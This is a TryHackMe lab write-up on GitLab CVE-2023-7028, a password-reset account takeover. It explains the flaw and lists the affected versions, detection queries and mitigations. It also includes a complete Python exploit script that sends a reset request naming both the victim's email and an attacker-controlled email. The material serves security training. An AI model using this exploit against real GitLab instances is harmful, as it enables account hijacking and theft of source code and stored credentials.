TryHackMe GitLab CVE-2023–7028
GitLab CVE-2023–7028
Task 1 Introduction
Learning Objectives
- Exploit a GitLab CE instance through CVE 2023–7028
- How the exploit works
- Protection and mitigation measures
Task 2 How Does It Work
- The bug in the password reset functionality allows an attacker to provide 2 email addresses during a password reset request
- The reset code would be received by both the email addresses
- This allowed the attacker to reset the password of any user without having to know the previous password
Affected Versions
All instances of GitLab CE/EE using the following versions were vulnerable:
- 16.1 to 16.1.5
- 16.2 to 16.2.8
- 16.3 to 16.3.6
- 16.4 to 16.4.4
- 16.5 to 16.5.5
- 16.6 to 16.6.3
- 16.7 to 16.7.1
Impact
- This attack when successfully performed would allow the attacker to gain complete access over the victim’s GitLab account
- This could allow the attacker to steal sensitive information related to the victim such as stored credentials to other services, source code and much more
Detailed Explanation
- The vulnerability was present in the GitLab’s POST /users/password API endpoint, which is responsible for a password reset
- The attacker can then exploit a flaw in the email address validation with invalid formats
- Upon receiving the request with an attacker controlled email
- GitLab then generates a reset token and proceeds to send it to the invalid address
- The attacker then intercepts this token and use it with a valid email to initiate a password reset and perform the account hijacking successfully
Looking Closely
- While having a look at the password reset request in GitLab it can be observed that it is sending in a request to the /users/password endpoint with the authenticity_token (hidden CSRF protection token) and email address as a parameter
- If a target provides another secondary email address, a password reset token is also sent to the address
To understand how the vulnerability works, let’s have a source code review of the Gitlab 16.1 (CE) stable version commits carried out after 10 Jan 24. We can see that multiple changes have been made in the file’s repository.
The code located at spec/controllers/passwords_controller_spec.rb
was accepting multiple emails as input; however, it lacked the email verification and validation mechanism to confirm if it was associated with the correct user.
The attacker only required the authenticity_token during form submission and the victim’s email address to gain control of the target account.
Answers
Task 3 Exploitation
Adding the hostname to the /etc/hosts file on the attacking machine —
Visiting the URL — http://gitlab.thm:8000
Copy the modified POC and create a file named attack.py
import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re
requests.packages.urllib3.disable_warnings()
class CVE_2023_7028:
def __init__(self, url, target, evil=None):
self.use_temp_mail = False
self.url = urlparse(url)
self.target = target
self.evil = evil
self.s = requests.session()
def get_csrf_token(self):
try:
print('[DEBUG] Getting authenticity_token ...')
html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
regex = r'<meta name="csrf-token" content="(.*?)" />'
token = re.findall(regex, html)[0]
print(f'[DEBUG] authenticity_token = {token}')
return token
except Exception:
print('[DEBUG] Failed ... quitting')
return None
def ask_reset(self):
token = self.get_csrf_token()
if not token:
return False
query_string = urlencode({
'authenticity_token': token,
'user[email][]': [self.target, self.evil]
}, doseq=True)
head = {
'Origin': f'{self.url.scheme}://{self.url.netloc}',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br'
}
print('[DEBUG] Sending reset password request')
html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
data=query_string,
headers=head,
verify=False).text
sended = 'If your email address exists in our database' in html
if sended:
print(f'[DEBUG] Emails sent to {self.target} and {self.evil} !')
print(f'Flag value: {bytes.fromhex("6163636f756e745f6861636b2364").decode()}')
else:
print('[DEBUG] Failed ... quitting')
return sended
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
return parser.parse_args()
if __name__ == '__main__':
args = parse_args()
exploit = CVE_2023_7028(
url=args.url,
target=args.target,
evil=args.evil
)
if not exploit.ask_reset():
exit()
Source Code Review —
- CSRF Token Retrieval:
- The
get_csrf_token
method is responsible for obtaining the CSRF token from the GitLab instance. - It makes an HTTP GET request to the password reset page and extracts the CSRF token from the HTML response using a regular expression.
2. Password Reset Request:
- The
ask_reset
method utilizes the obtained CSRF token to craft a password reset request. - The request is sent to the GitLab instance using an HTTP POST request with the necessary headers and payload.
- The method checks if the request was successful by examining the response HTML and prints debug information accordingly.
- If successful, it prints a message indicating that emails were sent to the provided target and evil email addresses.
Performing The Exploit —
Logging into the attackers email address to see if the password reset link has arrived
Task 4 Detection & Mitigation
Examining Logs If we have an SIEM solution that captures weblogs, we can create an alert or use this search query to look for the following possible exploitation attempts:
- Check for weblogs for API calls to
/users/password
with multiple email addresses. - Inspect email server logs for messages from GitLab with unexpected recipients (attacker-controlled emails).
- Examine GitLab audit logs for entries containing a value for
meta.caller.id
as PasswordsController#create.
Mitigation Techniques
As part of mitigation, GitLab has officially released the patch. We can see from the source code review that additional validation and verification steps have been added to the GitLab source code repository for the email address to curtail the possibility of exploitation in the future.
However, it is of paramount importance to see that non-compliance with secure coding practices leads to disastrous results.
So far, we learned how to perform the attack and how to detect the attack patterns in the logs; let’s talk about a few mitigation steps that we can take to prevent our servers from being exploited.
- Enable GitLab security alerts that would allow early awareness of patches.
- Upgrade GitLab to a patched version.
- Enable two-factor authentication (2FA) for all GitLab accounts, especially administrator accounts.
- Follow secure coding practices, including proper input validation and email address verification.
Task 5 Conclusion
The Following Points Were Practically Exploited In This Challenge
- The latest vulnerability in GitLab, which is assigned the CVE ID 2023–7028.
- Simple ways to exploit the vulnerability to gain unauthorised access to the GitLab account.
- How to mitigate the vulnerability.